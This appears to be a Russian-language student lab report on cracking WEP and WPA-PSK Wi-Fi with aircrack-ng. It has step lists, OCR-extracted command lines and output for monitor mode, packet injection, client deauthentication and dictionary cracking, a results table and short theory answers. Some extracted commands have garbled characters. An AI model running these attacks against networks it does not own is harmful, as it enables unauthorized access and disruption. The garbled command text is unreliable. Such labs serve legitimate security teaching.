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Ход работы
WEP
1. Узнаем имя беспроводного интерфейса с помощью iwconfig.
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2. Запускаем интерфейс в режиме мониторинга
[image: ]

3. Выбираем сеть для атаки среди доступных.
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4. Используем aircrack-ng, чтобы произвести авторизацию.
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5. Получаем PRGA в новой консоли.
6. Получили .xor файл. Генерируем пакет для инъекции.
[image: ]

7. В новой консоли:
[image: ]

8. В консоли, где сгенерировали пакет – начинаем инъекцию:
[image: ]

9. Вывод в третьей консоли:
[image: ]

10.  Запускаем aircrack-ng для получения WEP ключа
[image: ]







WPA-PSK
1. Повторяем пункты 1-3 прошлого эксперимента.

2. Используем aireplay-ng для деаутентификации клиентов.
[image: ]

3. Запускаем aircrack-ng для взлома ключа пре-авторизации.
[image: ]


4. Результат.
[image: ]


	
	WEP
	WPA-PSK

	Пароль
	1234qwert
	1234qwert

	Время определения пароля, с
	425c
	535c

	Количество пакетов, необходимое для определения пароля.
	2807
	1927



· В основе алгоритма шифрования WEP лежит простой XOR, который не обеспечивает должный уровень защиты на сегодняшний день. 

· Размер WEP ключей - 64 или 128 бит. Состоит из статической и динамической частей.

[bookmark: _GoBack]
· Чтобы определить ключ WEP нам нужно перехватить векторы инициализации (динамическая часть).

· Плохое проектирование WEP - основная проблема. Ключ фактически частями передает часть байт этого ключа.


· WPA шифрует данные каждого клиента отдельно.

· Уязвим WPA-PSK.

· Нужно чтобы был подключен как минимум один клиент к точке доступа. Так как нам нужно перехватить “пакет-рукопожатия” для последующего перебора.


· Прямой перебор пароля используя словари.

· Количество символов в пароле, их вариативность.


· Да, если грамотно подобрать пароль.
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$ airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w capture wlane
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$ aireplay-ng -2 -r arp-request wlan@

Saving chosen packet in replay src-0204-104917.cap
You should also start airodump-ng to capture replies.

End of file.
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CH 9 ][ Elapsed: 16 s ][ 2007-02-04 11:04

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESS
P0:14:6C:7E:40:80 47 100 179 2689 336 9 11 WEP WEP teds
BSSID STATION PWR Lost Packets Probes

0:14:6C:7E:40:80 ©0:09:5B:EC:EE:F2 PAS 0 2707
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$ aircrack-ng -b 00:14:6C:7E:40:80 capture*.cap
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$ aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 wlan®

11:09:28 Sending DeAuth to station -- STMAC: [©0:0F:B5:34:30:30]
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$ aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
Opening psk-01.cap

Opening psk-02.cap

Opening psk-03.cap

Opening psk-04.cap

Read 1827 packets.

# BSSID ESSID Encryption

1 ©00:14:6C:7E:40:80 teddy WPA (1 handshake)

Choosing first network as target.
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Aircrack-ng 1.2
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$ iwconfig

lo no wireless extensions
etho no wireless extensions
wlan® no wireless extensions
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$ airmod-ng start wlan@
Interface Chipset Driver

wlano Ralink MT8332 rt2603usb (monitor mode enabled on mon®)




image3.png
$ airodump-ng wlan@
CH 8 ][ Elapsed: 4 s ][ 2013-11-15 14:30
BSSID PWR Beacons #Data, #/s CH MB ENC

00:14:6C:7E:40:80 -1 2 0 0 6 54 . WEP |
090:24:01:65:97:69 -56 6 0 0 6 54e. WPA2 (
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$ aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80

14:32:20 Sending Authentication Request
14:32:20 Authentication successful
14:32:20 Sending Association Request
14:32:20 Association successful :-)
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$ packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F
255.255.255.255 -1 255,255.255.255 -y fragment-0203-180343.x
request

Wrote packet to: arp-request




